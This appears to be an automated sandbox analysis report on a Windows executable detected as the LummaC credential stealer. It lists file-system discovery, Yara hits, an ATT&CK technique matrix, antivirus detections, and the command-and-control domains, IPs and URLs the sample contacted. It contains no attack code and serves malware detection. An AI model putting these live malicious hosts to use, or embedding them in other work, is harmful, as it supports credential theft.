Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior

Source: Yara match	File source: 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nvtoaldlrg.exe PID: 7128, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: nvtoaldlrg.exe PID: 7128, type: MEMORYSTR
Source: Yara match	File source: 0.2.nvtoaldlrg.exe.ac0000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	321 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	31 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nvtoaldlrg.exe	58%	Virustotal		Browse
nvtoaldlrg.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
nvtoaldlrg.exe	100%	Avira	HEUR/AGEN.1314134

Source	Detection	Scanner	Label
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://guntac.bet:443/bSHsyZDal	0%	Avira URL Cloud	safe
https://guntac.bet/	0%	Avira URL Cloud	safe
https://latchclan.shop:443/Wjquw	100%	Avira URL Cloud	malware
https://bugildbett.top:443/bAuzaMicrosoft	100%	Avira URL Cloud	malware
https://citydisco.bet/gd	0%	Avira URL Cloud	safe
https://featureccus.shop:443/bdMAn	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.73.234.102	true	false	high
jowinjoinery.icu	188.114.97.3	true	false	high
citydisco.bet	188.114.97.3	true	false	high
legenassedk.top	188.114.96.3	true	false	high
htardwarehu.icu	104.21.48.1	true	false	high
bugildbett.top	104.21.16.1	true	false	high
mrodularmall.top	104.21.96.1	true	false	high
cjlaspcorne.icu	104.21.80.1	true	false	high
guntac.bet	188.114.96.3	true	false	unknown
latchclan.shop	unknown	unknown	false	high
featureccus.shop	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
bugildbett.top/bAuz	false	high
citydisco.bet/gdJIS	false	high
mrodularmall.top/aNzS	false	high
https://steamcommunity.com/profiles/76561199822375128	false	high
jowinjoinery.icu/bdWUa	false	high
htardwarehu.icu/Sbdsa	false	high
https://citydisco.bet/gdJIS	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.vimeo.com	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128euM	nvtoaldlrg.exe, 00000000.00000003.922358612.00000000014F9000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/System32	nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199822375128/badges	nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128/inventory/	nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199822375128	nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://guntac.bet:443/bSHsyZDal	nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994617580.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044B3000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=whw8EcafG167&l=e	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=cMt-H-zOgNUp&l=english&am	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=PCCoCNLxwF4M&am	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.0000000001465000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021457765.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045634437.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021677883.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/=M:PA	nvtoaldlrg.exe, 00000000.00000003.923852702.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli	nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.0000000001464000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045283888.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047004011.0000000001514000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994470945.0000000001514000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/7656119982	nvtoaldlrg.exe, 00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044DB000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045687411.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046918483.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1047024427.000000000151E000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044C7000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1048252866.00000000044C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994497525.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994365862.00000000044AA000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994449245.0000000001519000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	nvtoaldlrg.exe, 00000000.00000003.842683097.00000000044D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	nvtoaldlrg.exe, 00000000.00000003.889801356.00000000047CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	nvtoaldlrg.exe, 00000000.00000003.1021330276.00000000044AE000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021249282.000000000450A000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021655764.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021298673.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199822375128	nvtoaldlrg.exe, 00000000.00000003.923936426.000000000146B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://guntac.bet/	nvtoaldlrg.exe, 00000000.00000002.1046939719.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lv.queniujq.cn	nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	nvtoaldlrg.exe, 00000000.00000003.890771013.00000000049DF000.00000004.00000800.00020000.00000000.sdmp	false		high
